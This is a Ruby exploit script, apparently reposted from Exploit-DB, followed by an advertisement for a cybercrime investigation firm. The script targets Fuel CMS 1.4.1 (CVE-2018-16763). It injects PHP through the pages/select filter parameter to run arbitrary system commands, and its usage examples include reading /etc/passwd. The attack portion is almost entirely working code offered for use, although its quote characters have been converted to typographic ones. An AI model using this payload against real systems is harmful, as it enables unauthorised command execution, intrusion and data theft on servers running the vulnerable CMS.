#!/usr/bin/env ruby

# Title: Fuel CMS 1.4 – Remote Code Execution
# Exploit Author: Alexandre ZANNI
# Date: 2020-11-14
# Vendor Homepage: https://www.getfuelcms.com/
# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
# Version: <= 1.4.1
# Tested on: Ubuntu 16.04
# CVE : CVE-2018-16763
# References: https://www.exploit-db.com/exploits/47138

require ‘httpclient’
require ‘docopt’

# dirty workaround to ignore Max-Age
# https://github.com/nahi/httpclient/issues/242#issuecomment-69013932
$VERBOSE = nil

doc = <<~DOCOPT
Fuel CMS 1.4 – Remote Code Execution

Usage:
#{__FILE__} <url> <cmd>
#{__FILE__} -h | –help

Options:
<url> Root URL (base path) including HTTP scheme, port and root folder
<cmd> The system command to execute
-h, –help Show this screen

Examples:
#{__FILE__} http://example.org id
#{__FILE__} https://example.org:8443/fuelcms ‘cat /etc/passwd’
DOCOPT

def exploit(client, root_url, cmd)
url = root_url + “/fuel/pages/select/?filter=’%2Bpi(print(%24a%3D’system’))%2B%24a(‘#{cmd}’)%2B'”

res = client.get(url)

/system(.+?)<div/mx.match(res.body).captures[0].chomp
end

begin
args = Docopt.docopt(doc)
clnt = HTTPClient.new
puts exploit(clnt, args[‘<url>’], args[‘<cmd>’])
rescue Docopt::Exit => e
puts e.message
end



Source link

Is your business effected by Cyber Crime?

If a cyber crime or cyber attack happens to you, you need to respond quickly. Cyber crime in its several formats such as online identity theft, financial fraud, stalking, bullying, hacking, e-mail fraud, email spoofing, invoice fraud, email scams, banking scam, CEO fraud. Cyber fraud can lead to major disruption and financial disasters. Contact Digitpol’s hotlines or respond to us online.

Digitpol is available 24/7. https://digitpol.com/cybercrime-investigation/

Email: info@digitpol.com
Europe +31558448040
UK +44 20 8089 9944
ASIA +85239733884